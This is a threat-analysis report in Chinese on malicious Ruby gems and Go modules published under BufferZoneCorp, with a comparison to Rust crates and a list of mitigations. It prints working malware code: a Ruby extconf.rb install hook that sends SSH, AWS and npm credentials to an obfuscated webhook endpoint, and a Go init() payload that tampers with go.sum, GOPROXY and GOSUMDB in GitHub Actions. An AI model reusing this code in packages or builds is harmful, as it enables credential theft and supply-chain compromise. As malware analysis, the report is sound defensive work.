摘要
報告針對近期涉及惡意 Ruby Gems 與 Go Modules 的軟體供應鏈攻擊提供了技術分析。這些套件偽裝成合法的開發者工具,被發現會外洩敏感的認證資料、竄改建置環境,並在受害系統上建立持續存取能力。我們深入探討這些惡意套件所使用的技術機制,包括安裝時執行(install-time execution)、環境變數操縱(environment variable manipulation)以及代理劫持(proxy hijacking)。分析突顯了 Threat actor 用來滲透開發與 CI/CD 流程的複雜手法,並與其他生態系中的類似攻擊進行比較。此外,也討論了減緩策略與增強軟體供應鏈安全性的建議。
1. 簡介
軟體供應鏈的完整性是現代軟體開發中的關鍵議題。Threat actor 日益瞄準開放原始碼套件生態系來散佈惡意程式碼,利用開發者對第三方依賴套件的信任。這份報告檢視了一場特定攻擊活動,該活動涉及惡意 Ruby Gems 與 Go Modules,並在 GitHub 帳號
BufferZoneCorp
下被識別。這些套件最初看似是正常的工具,但後來更新加入了主動式 payload,設計用於外洩 Credential、竄改 GitHub Actions、Path hijacking、Proxy manipulation以及 SSH 持續存取
[1]
。此次分析目的在剖析這些惡意實體採用的技術方法,並深入了解其運作機制。
2. 惡意 Ruby Gems 的技術分析
主要的惡意 Ruby Gems 透過
knot-theory
RubyGems 描述檔散佈,利用 typosquatting 技術冒充熱門的 Ruby 與 Rails 工具。一個關鍵範例是
knot-activesupport-logger
,它偽裝成 logging 輔助工具,但實際上是為了收集 secrets
[1]
。
2.1 透過
extconf.rb
在安裝期間竊取 Credential
在 Ruby 生態系中,Credential 竊取的一個重要途徑是濫用
extconf.rb
。RubyGems 在安裝程序中會自動執行此檔案,作為原生擴充套件建置的一部分。惡意 gem 利用此機制,在使用者明確呼叫所宣稱的套件功能之前執行程式碼
[1]
。
下方的程式碼片段展示了此安裝期間外洩流程所涉及的核心組件:
- require 'mkmf' # install-time execution hook
- require 'net/http' # HTTP exfiltration
- require 'json' # JSON encoding
- require 'uri'
- require 'fileutils' # unused here; likely cover or prep
- require 'socket' # hostname collection
- require 'base64' # endpoint obfuscation
- def _r(p)
- # Read up to 4 KB from a file in the user's home directory
- File.read(File.join(Dir.home, p)).slice(0, 4096)
- rescue
- nil # suppress read errors
- end
- _ep = ENV['PKG_ANALYTICS_URL'] || \
- Base64.decode64(
- 'aHR0cHM6Ly93ZWJob29rLnNpdGUvNDljMjE4NDMtYzI3Yy00YTFiLWIxZjYtMDM3YzM5OTgwNTVm'
- )
- # Hidden exfil endpoint, overrideable at runtime
- # Decodes to: https://webhook[.]site/49c21843-c27c-4a1b-b1f6-037c3998055f
- _keys = %w[token key secret pass npm aws github stripe database api auth]
- # Keywords used to select secret-bearing environment variables
- _env = ENV.select { |k, _| _keys.any? { |s| k.downcase.include?(s) } }
- # Collect environment variables likely to hold credentials or tokens
- _data = {
- ts: Time.now.to_i,
- h: Socket.gethostname, # hostname
- u: ENV['USER'], # username
- p: RUBY_PLATFORM, # platform
- ci: !!ENV['CI'], # CI marker
- phase: 'install',
- env: _env, # selected environment secrets
- f: {
- rsa: _r('.ssh/id_rsa'), # SSH private key
- ed: _r('.ssh/id_ed25519'), # SSH private key
- aws: _r('.aws/credentials'), # AWS credentials
- npmrc: _r('.npmrc'), # npm credentials
- gem: _r('.gem/credentials'), # RubyGems credentials
- netrc: _r('.netrc'), # machine credentials
- gh: _r('.config/gh/hosts.yml'), # GitHub CLI auth data
- gitcfg: _r('.gitconfig'), # Git config and helper data
- }
- }
- begin
- _uri = URI.parse(_ep)
- _http = Net::HTTP.new(_uri.host, _uri.port)
- _http.use_ssl = _uri.scheme == 'https'
- _http.open_timeout = 3
- _req = Net::HTTP::Post.new(_uri.path.empty? ? '/' : _uri.path)
- _req['Content-Type'] = 'application/json'
- _req['X-Pkg-Id'] = 'activesupport-logger-install'
- _req.body = _data.to_json
- _http.request(_req) # exfiltrates harvested data during install
- rescue
- nil # suppress network errors
- end
- create_makefile('activesupport_logger_ext')
- # Forces RubyGems to run extconf.rb during installation
這段 Ruby 程式碼展示了幾個關鍵技術。首先載入網路通訊、JSON 編碼及檔案系統操作所需的函式庫。
_r
函式被設計為讀取使用者 home 目錄中特定檔案的最多 4KB 內容,目標是常見的 Credential 路徑,例如 SSH 金鑰、AWS 認證以及各種設定檔。外洩端點使用 Base64 編碼進行混淆,解碼後為
https://webhook[.]site/49c21843-c27c-4a1b-b1f6-037c3998055f
。環境變數會依據關鍵字(例如
token
,
key
,
secret
,
pass
,
aws
,
github
,
api
,
auth
)進行過濾,以識別敏感資訊。最後,收集到的資料(包括 hostname、username、platform、CI 標記以及竊取到的 secrets)會被編碼為 JSON 格式,並在 gem 安裝期間透過 HTTP POST 請求傳送到隱藏的遠端端點。
create_makefile
的呼叫確保
extconf.rb
會被執行,從而強制執行惡意邏輯
[1]
。
3. 惡意 Go Modules 的技術分析
同樣與
BufferZoneCorp
相關的惡意 Go Modules 展現了更多樣化的 payload,通常針對 GitHub Actions 與其他 CI 環境。觀察到的一個常見模式是透過
init()
函式自動執行,該函式會在套件初始化時執行
[1]
。
3.1 GitHub Actions 中的 Dependency Poisoning
一個值得注意的範例是
github.com/BufferZoneCorp/go-metrics-sdk
,它將其惡意行為隱藏在
exporter.go
中。此模組的目標是竄改 GitHub Actions 中的 Go 模組信任設定
[1]
。
該模組會偵測
GITHUB_ENV
是否存在,解碼一個隱藏的外洩端點(或使用
PKG_ANALYTICS_URL
中的端點),從
go.sum
中移除特定的 Dependency line,並將遭竄改的環境設定附加到 workflow 環境中。這些設定包括操縱
GOPROXY
、停用
GOSUMDB
、以及將
GOMODCACHE
重新導向到一個暫存路徑。這有效地削弱了 checksum 保護機制,並強制依賴套件透過攻擊者控制的設定重新解析
[1]
。
以下 Go 程式碼展示了環境操縱與 go.sum 竄改的過程:
- package metrics
- import (
- "fmt"
- "os"
- "strconv"
- "strings"
- )
- // Hidden endpoint encoded as decimal byte fragments
- // Decodes to: https://webhook[.]site/49c21843-c27c-4a1b-b1f6-037c3998055f
- var _peers = []string{
- "104.116.116.112", "115.58.47.47", "119.101.98.104", "111.111.107.46",
- "115.105.116.101", "47.52.57.99", "50.49.56.52", "51.45.99.50",
- "55.99.45.52", "97.49.98.45", "98.49.102.54", "45.48.51.55",
- "99.51.57.57", "56.48.53.53", "102.0.0.0",
- }
- func _env(a, b string) string { return os.Getenv(a + b) }
- // Rebuilds "GITHUB_ENV" from fragments to evade simple string matching
- func _j(ss ...string) string {
- var b strings.Builder
- for _, s := range ss {
- b.WriteString(s)
- }
- return b.String()
- }
- // Joins suspicious strings from fragments
- func _resolve(peers []string) string {
- var out []byte
- for _, p := range peers {
- for _, part := range strings.Split(p, ".") {
- if n, err := strconv.Atoi(part); err == nil && n > 0 {
- out = append(out, byte(n))
- }
- }
- }
- return string(out)
- }
- // Decodes the hidden endpoint
- func init() {
- _syncRegistry()
- }
- // Runs automatically when the module initializes
- func _syncRegistry() {
- envFile := _env("GITHUB", "_ENV")
- if envFile == "" {
- return
- }
- // Only runs in GitHub Actions
- tb := _resolve(_peers)
- if v := os.Getenv("PKG_ANALYTICS_URL"); v != "" {
- tb = v
- }
- // Allows the endpoint to be overridden at runtime
- sumPath := "go.sum"
- if data, err := os.ReadFile(sumPath); err == nil {
- needle := _j("github.com", "/sirupsen", "/logrus")
- var keep []string
- for _, line := range strings.Split(string(data), "\n") {
- if !strings.Contains(line, needle) {
- keep = append(keep, line)
- }
- }
- os.WriteFile(sumPath, []byte(strings.Join(keep, "\n")), 0644)
- }
- // Removes logrus checksums from go.sum
- f, err := os.OpenFile(envFile, os.O_APPEND|os.O_WRONLY, 0600)
- if err != nil {
- return
- }
- defer f.Close()
- fmt.Fprintf(f, _j("GOP", "ROX", "Y=%s|direct\n"), tb)
- // Repoints GOPROXY to the hidden or overridden endpoint
- fmt.Fprintln(f, _j("GOS", "UMDB=off"))
- // Disables checksum database verification
- fmt.Fprintln(f, _j("GON", "OSU", "MDB=*"))
- // Skips checksum verification for all modules
- fmt.Fprintln(f, _j("GOF", "LAGS=-mod=mod"))
- // Forces module resolution behavior
- fmt.Fprintln(f, _j("GOMOD", "CACHE=/tmp/.go", "mod-cache"))
- // Redirects the module cache to a temp path
- }
這段 Go 程式碼展示了一種操縱 Go 建置環境的複雜方法。
_peers
變數以分段十進制位元組格式儲存外洩端點,然後由
_resolve
函式重新組裝。
init()
函式在模組初始化時自動呼叫
_syncRegistry()
。在
_syncRegistry()
內部,它會檢查
GITHUB_ENV
環境變數是否存在,以判斷是否在 GitHub Actions workflow 中執行。接著,它會從
go.sum
中移除特定的 checksum,並將多個環境變數(
GOPROXY
、
GOSUMDB
、
GONOSUMDB
、
GOFLAGS
、
GOMODCACHE
)附加到
GITHUB_ENV
檔案中。這有效地重新導向 Go 模組代理、停用 checksum 驗證,並操縱模組快取,使 Threat actor 更容易攔截或破壞下游的依賴套件解析過程
[1]
。
3.2 Proxy 操縱與假的 Go Wrapper
在
github.com/BufferZoneCorp/go-retryablehttp
等模組中觀察到的另一種技術涉及 Proxy 操縱與建立一個假的
go
wrapper。此模組同樣透過
init()
執行,偵測
GITHUB_ENV
與
GITHUB_PATH
。然後它會設定
HTTP_PROXY
與
HTTPS_PROXY
環境變數,將一個假的
go
執行檔寫入快取目錄,並將此目錄附加到 workflow 的 PATH 中。這確保了假的 wrapper 會在合法的
go
執行檔之前被執行,讓攻擊者能夠攔截或影響後續的
go
執行,同時仍將控制權傳遞給真正的執行檔,以避免破壞建置程序
[1]
。
3.3 Credential 竊取、SSH 持續存取與 Workflow 竄改
模組
github.com/BufferZoneCorp/go-stdlib-ext
展示了 Credential 竊取、SSH 持續存取與 workflow 竄改的組合。它從
init()
自動執行,啟動一個背景 goroutine 來從本機 credential 檔案(例如
~/.npmrc
、
~/.ssh/id_rsa
、
~/.aws/credentials
、
~/.config/gh/hosts.yml
、
~/.docker/config.json
、
~/.kube/config
與
~/.netrc
)收集敏感資料。這些收集到的資料連同環境變數,隨後會被外洩到攻擊活動的收集端點
[1]
。
此模組的一個關鍵面向是其建立持續存取的能力。如果外洩成功,它會將一個寫死的 SSH 公鑰(標記為
deploy@buildserver
)附加到
~/.ssh/authorized_keys
。這使得 Threat actor 能夠在未來取得受感染主機的 SSH 存取權限,從單純的 Credential 竊取轉變為長期存取
[1]
。此外,該模組還會透過將 no-sum 設定寫入 workflow 環境,並植入另一個假的
go
wrapper 來將呼叫參數發送到收集端點,之後再將控制權傳遞給真正的 Go 執行檔,從而竄改 GitHub Actions
[1]
。
4. 與惡意 Rust Crates 的比較
雖然這份報告主要聚焦於 Ruby Gems 與 Go Modules,但與其他生態系中類似供應鏈攻擊進行比較仍具有啟發性。前期文章中關於惡意 Rust Crates 的文章
[2]
提供了一個有價值的比較。在那次攻擊活動中,像
faster_log
與
async_println
這樣的惡意 Rust crates 使用 typosquatting 技術來冒充合法的 logging 函式庫,並竊取加密貨幣錢包金鑰
[2]
。
這些生態系之間攻擊手法的相似之處包括:
- Typosquatting / 冒充: 所有攻擊活動都利用與合法套件相似的命名慣例,誘騙開發者安裝惡意版本 [1] [2] 。
-
自動執行:
Ruby Gems 使用
extconf.rb在安裝時執行,Go Modules 使用init()函式,而 Rust Crates 可能採用了類似的機制(例如建置腳本或類似建構子的函式)以確保早期執行 [1] [2] 。 - Credential / Secret 竊取: 所有觀察到的攻擊活動的主要目標都是外洩敏感的開發者 Credential、環境變數與設定檔 [1] [2] 。
- 外洩至 C2: 所有惡意套件都會與 Command and Control (C2) 伺服器通訊以外洩竊取的資料,通常使用混淆過的端點 [1] [2] 。
-
持續存取機制:
除了立即的資料竊取之外,某些模組(如 Go 的
go-stdlib-ext)會透過 SSH authorized keys 建立持續存取能力,這種手法也可能被適應到其他生態系 [1] 。
一個主要的差異在於具體的目標以及資料收集的方法。Ruby Gems 與 Go Modules 專注於廣泛的開發者 Credential 以及 CI/CD 環境操縱,而所分析的 Rust Crates 則特別針對加密貨幣錢包金鑰,使用複雜的正規表示式模式來掃描 Ethereum 私鑰、Base58 tokens(Solana 位址)以及括號內的 byte arrays [2] 。
下圖說明了一個通用的軟體供應鏈攻擊流程,包含了在 Ruby/Go 以及 Rust 攻擊活動中觀察到的元素:
Malicious Package} B --> C{Typosquatting
/Impersonation} C --> D[Developer
Installs Package] D --> E{"Automated Execution
(e.g., extconf.rb,
init(), build script)"} E --> F{Reconnaissance/
Environment Check} F --> G{Credential/
Secret Harvesting} G --> H{"Persistence
(e.g., SSH keys, backdoor)"} G --> I{Exfiltration to
C2 Server} H --> J[Long-term Access] I --> A
5. 緩解措施與建議
為了應對這類複雜的供應鏈攻擊,多層次的防禦策略至關重要:
- 依賴套件稽核: 定期稽核所有第三方依賴套件,以發現已知漏洞與可疑行為。使用能夠在安裝與執行期間分析套件行為的工具。
- 嚴格的存取控制: 對 CI/CD 環境與開發者工作站實施最小權限原則。限制建置任務可取得的 secrets 與 Credential 範圍。
-
環境強化:
隔離建置環境並確保其為短暫存在。監控對關鍵環境變數(例如
GOPROXY、GITHUB_ENV、PATH)以及設定檔(例如go.sum、.ssh/authorized_keys)的未授權變更。 - 網路監控: 監控建置環境的對外網路流量,留意是否有連線到可疑或未知端點的行為。
-
程式碼審查:
進行徹底的程式碼審查,特別是針對新的或更新過的依賴套件,密切關注建置腳本(例如
extconf.rb)、初始化函式(例如init())以及任何與檔案系統或環境變數互動的程式碼。 - 供應鏈安全工具: 採用專門的供應鏈安全工具,能夠根據行為分析與信譽來偵測並阻擋惡意套件。
- 開發者教育: 教育開發者有關 typosquatting 的風險,以及在安裝前驗證套件真實性的重要性。
6. 結論
對惡意 Ruby Gems 與 Go Modules 的分析,以及來自類似 Rust Crates 攻擊的見解,突顯了軟體供應鏈中威脅形勢的演變。Threat actor 持續精進他們的手法,利用自動執行、混淆與冒充技術來滲透開發環境並竊取敏感資料。透過理解這些技術機制並實施強健的安全實務,組織可以顯著提升對此類攻擊的防禦能力。持續的警覺、主動監控以及在整個軟體開發生命週期中保持強大的安全態勢,對於防範這些持續存在的威脅至關重要。